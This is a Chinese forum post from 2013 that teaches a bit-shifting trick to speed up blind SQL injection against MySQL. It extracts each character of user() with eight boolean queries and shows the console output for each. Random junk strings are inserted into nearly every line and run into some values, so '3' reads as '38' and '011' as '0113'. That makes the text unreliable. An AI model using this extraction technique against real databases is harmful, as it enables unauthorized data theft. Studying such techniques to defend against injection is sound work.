找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1932|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位2 r5 c0 h, ]6 q; t

  L' M  {+ `' g) }( ^2 o . ~1 N. G! X; ]: p; }2 N! S' S
' }. w3 W4 b# G; p! s5 [
下面将以查询mysql数据库当中user()的第一位为例:
/ y. x4 r$ q. {$ B! Y9 e: O" t- G  t' ?3 x
; h1 F% a6 }/ ]% E) {' J0 k
/ j  D( K! n1 k$ |, p
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)8 W. Z- b) R1 J  a; S$ o) w4 F
6 }! J# U! V2 x+ q# V3 M0 K
& |8 v5 \( U8 C7 s
* r9 n$ d" e& }" i9 {; P
首先执行如下sql语句:3 w% N4 L2 {9 f& X7 [" J
  _" p8 F' L# S! ~2 C8 \; N& ~
; e4 y. ~0 y% L2 D, J

9 b& Z& o, V7 ~! Jmysql> select (ascii((substr(user(),1,1))) >> 7)=0;9 Q& d3 y: \* ]& u
1 M' }& X9 S* J7 b
2 j# ]5 n& X3 \( {( G3 Z

8 E' O2 @6 M1 T6 [我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
! E; u7 w5 M' j- d' n9 I" t8 X! O* X6 b% l! |; d$ v& q2 ], p
6 A2 H* n1 E; b+ C

7 ~: a& V0 t) F第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
0 W, y" @2 ^$ X4 R5 O9 t9 A
6 E) k2 f# T0 _" F 5 s+ }6 y) }( u! |% E

% {. o2 k* N$ {% ?# t' z如果运算结果为1,说明第一位为0,不为1) a% b" d$ }# b

6 F# l6 Z% D7 g' R+ [# h5 e; l# Y % V5 Y5 s2 Z8 w4 _( j/ l0 Z

9 }6 Z5 a1 v/ q  M7 T; q, M$ U+————————————–+3 O: ?" S# X# U" |

/ i, b9 y" H. u# C4 V3 \, Z7 D1 D: _| (ascii((substr(user(),1,1))) >> 7)=0 |
! L8 `3 i$ s9 Y. g1 o7 W
2 M$ Z- _8 [/ e$ n' w  T3 E+ s+————————————–+
* c4 B, U5 w- S, ?  b, Q5 V! g0 y2 Q1 y. }4 {, v! {
| 1 |
  h& c* G0 l+ p$ x6 i. H
( X5 Y- A% \* J9 q5 P+————————————–+
, P  z4 u' n8 L. g8 F- _8 L7 u; Q! i0 C5 O) f1 Q
1 row in set (0.00 sec)
$ Q' l: g/ A3 H# }! M- l
6 e+ ^+ R" A4 c9 p: o3 _* `, r3 g这样我们就确定这个8bit的ascii的第一位为0
: m8 a, x/ A  D1 L7 {) A  e& `
1 H  Z7 s6 _* i9 G 0 A  L7 ^+ [  m' d& W7 G/ m

: @( n, E( @5 v* `- s4 M; g第二次我们来做6次右偏移来确定前两位
/ I$ r8 M& q' |6 i; I, Y; t9 E/ y& j  ~3 c6 g1 R) \3 d

3 r: S/ A: L- y
! G/ E4 R/ M6 B2 [1 L. \, I; K) \. k前两位可能是01或00,即依然可以与0做比较,
7 @4 G1 z) j- G" F6 R9 h( B' M6 p6 H" Q
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;* F9 j- s5 U5 s) t. \  T+ p
5 U7 y4 v6 }: Z; }6 d. I! n
+————————————–+
6 m4 S- I. ]" X9 @0 ^  }( e7 L! G, E+ n
| (ascii((substr(user(),1,1))) >> 6)=0 |5 f; C' ~8 s% K& l8 M* \6 w
4 P/ r3 @! \% b* ~: x3 v
+————————————–+/ |% F1 T7 \5 _  N& p' g

, P! H& l" J2 M6 N- Y| 0 |7 R8 V( M5 E  e

' W/ n+ [7 G) {! `. M2 K- \. U' I+————————————–+
, i& a* g6 I' S  C
( R- w. V3 _, j7 j, C; W! h0 A5 y1 row in set (0.00 sec)
- s1 {! d! ?4 C, i) j! I( k# |; o0 e# y, i) N3 [5 y4 D0 H
2 c8 J$ N* B0 d5 [2 K4 M& {9 K" F

0 B1 Y2 B2 ?5 P6 H& w结果为0,即第二位为1
( J# X& W4 a3 Z8 Z) z1 z1 X) P5 R" ^

' z; s8 {4 `5 N! n' A8 w4 }2 r6 k6 u0 L! P/ _
开始猜测前三位为010或011' h/ h  p2 ~; S( k9 H  [4 F

% w' l- N  X( W- P
* n0 _1 N2 _1 N$ B  A. \' i4 G) c3 J% ]8 j
让我们看看010和011的ascii码是多少+ p  E* v; G! m( b, k

2 ?( Q. A" ^  J  d" N- W , X6 s  D- P9 N

# e; I1 x8 d. D分别查询select b’011′ select b’010′
2 P' x9 B9 ?' p  o1 N, s+ X2 _
$ K5 p4 i1 B+ B% D9 w! v/ W8 @% Y
; s) U. ?2 E5 H  M% \0 h( S9 _1 q
获得结果 010 = 2 011 = 38 z: W( k# l" `: k. b

. F% M; |  @( _9 g- y7 u. y
5 C3 K4 A+ F+ o# l0 W, u8 Y1 z
6 d  N" C9 e: Q5 N& m8 \& J0 v执行如下sql:
% v, e3 c! b4 A; W9 E- b% u( P2 U1 U- A
; p. z8 m  b: p/ _

3 M7 X- d" H5 p; C* U8 k- Omysql> select (ascii((substr(user(),1,1))) >> 5)=2;
9 Q' P1 E% H# u4 X1 O2 Y% n
% @! O* ^- d  i* V+————————————–+
% \" w8 A" D$ m" P% }0 c% V+ \
/ c! t; O& R9 z1 t: S6 c. T4 @| (ascii((substr(user(),1,1))) >> 5)=2 |+ _8 t! q4 X3 S$ b; }+ I: H# k

2 I! z/ _" S: ]! p* y+————————————–+5 z: T+ i% t" N1 U4 M% C7 C3 b

, }* g* \8 a1 A" Y" D| 0 |
$ n9 x/ A& _  S  v2 G) X4 i- A3 N0 t
+————————————–+
* I% {( O2 @: W; K8 q# {3 f3 Y. s: z( K. n3 Y
即前三位不为010,而是0113 f9 |9 x3 [, L0 @

8 N  H1 u/ ]/ `  K6 P 0 p' k/ b9 P4 K* C3 O
: C* h: C- V8 o. D( ^
直到获得最后一位
% ^% |% G; x) m8 Z3 d8 s3 D( i9 }3 w
5 Q( q5 `. Y8 V6 Y* b4 i
; j+ I$ a  j. Z; f8 j: O
最终结果为:011100106 Q8 b# q. a6 C% L* a

) ^1 S1 U2 v2 E! z0 f1 f, y
6 U' r2 Q4 C$ T( |. v+ c" v/ C9 k! S: U  J
转换一下:
6 r) C) y1 n# G( n6 w2 h7 z. C6 C' j9 l+ c
8 b  }( R  U: R" ^5 F
  c5 N' Z. r& t7 w
select b’01110010′
+ x* f/ E4 [* A3 ~3 h7 v7 h, \& C& R- ~: J& g
# T+ \- Q9 d/ w3 U, l

( u0 v/ g" J. k$ ]* R查询结果
/ h/ k' j+ k' K3 f, J4 s4 g# \% {2 @# m6 L4 p
+ O- x" O2 {3 @0 C0 z6 {& }2 S
0 b' s- ~  _- E3 n  a  c
+————-+
! z" n! v* C! S8 i/ A8 c
  C5 W! `) Z4 e* n- x: U: e| b’01110010′ |2 `% @- K- Z, T, T
! Y& X( e: D) n0 c) t$ v+ e
+————-+
3 q$ A- x8 s% M1 g. \6 F* T
, M3 v6 |2 V6 i$ B! c| r |0 k3 K3 G. h- u8 Y5 w0 y

# _8 J% `1 P! [3 P+————-+
. g# N3 H# R+ g0 s7 _8 G6 Q/ G6 E/ M( s1 T; [$ n; q
1 row in set (0.00 sec)
& `$ i+ F1 p$ R# j$ R2 o3 y) F5 h. N' [" B7 {, x0 ~
$ P4 P$ t' E6 t! T* x) ~
# D  w& T) E- p- z' D$ D7 o
这样我们就获得了user()的第一位.其它位依此类推% ]/ ?0 z, b; }

3 m. T' [: `1 j& z' [, z! y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表